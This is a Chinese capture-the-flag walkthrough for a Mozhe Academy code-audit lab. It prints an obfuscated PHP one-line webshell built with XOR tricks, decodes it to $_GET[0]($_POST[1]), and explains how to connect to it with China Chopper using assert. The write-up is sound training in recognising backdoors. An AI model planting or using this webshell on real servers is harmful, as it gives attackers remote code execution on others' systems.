zoukankan      html  css  js  c++  java
  • [ 墨者学院 ] 代码审计 —— PHP代码分析溯源(第1题)

    0x01.题目描述:

                                        背景介绍

    某日,在某公司做IT维护的朋友给安全工程师"墨者"发了一个PHP文件,说在其WEB服务器发现多了一个b.php文件,目前不确定这个文件是开发留下的正常文件还是攻击者上传的木马后门,希望"墨者"能够帮他分析一下。

                                         实训目标

    1、了解PHP语言的基本代码;
    2、了解PHP语言中“危险”函数的代码;

    0x02.解题过程:

    启动靶场环境后,点击生成的链接地址,这里给出了b.php的代码

    1 <?php
    2 @$_++;
    3 $__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");
    4 $___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");
    5 ${$__}[!$_](${$___}[$_]);
    6 ?>

    下面利用php在线工具分析一下这些代码的含义。

    (php在线工具:https://tool.lu/coderunner/

    可以看到这里赋值的三个变量的值:

    $_ = 1

    $__ = _GET

    $___ = _POST

    然后将这三个值带入下面的语句${$__}[!$_](${$___}[$_])};中,即:${_GET}[!1](${_POST}[1]);最后的结果就是:$_GET[0]($_POST[1]);

    构造菜刀的链接参数为http://url/b.php?0=assert,密码为1。

    连接即可拿到靶机目录下的key。

    问题总结:

    这里不明白的是为什么使用的参数是assert而不是eval,下面简述一下assert和eval的不同。

    eval函数中参数是字符,如:
    eval('echo 1;');
    assert函数中参数为表达式 (或者为函数),如:
    assert(phpinfo()) 
    

       

  • 相关阅读:
    UVa 11300 Spreading the Wealth(有钱同使)
    hihoCoder 1385 : A Simple Job(简单工作)
    hihoCoder 1383 : The Book List(书目表)
    HDU 5724 Chess(国际象棋)
    Sobytiynyy Proyekt Casino Gym
    Course recommendation Gym
    Poor Folk Gym
    How far away? (HDU
    BAPC 2016 ----Brexit (BFS + vector)
    Simpsons’ Hidden Talents(扩展KMP)
  • 原文地址:https://www.cnblogs.com/qtisec/p/11052742.html
Copyright © 2011-2022 走看看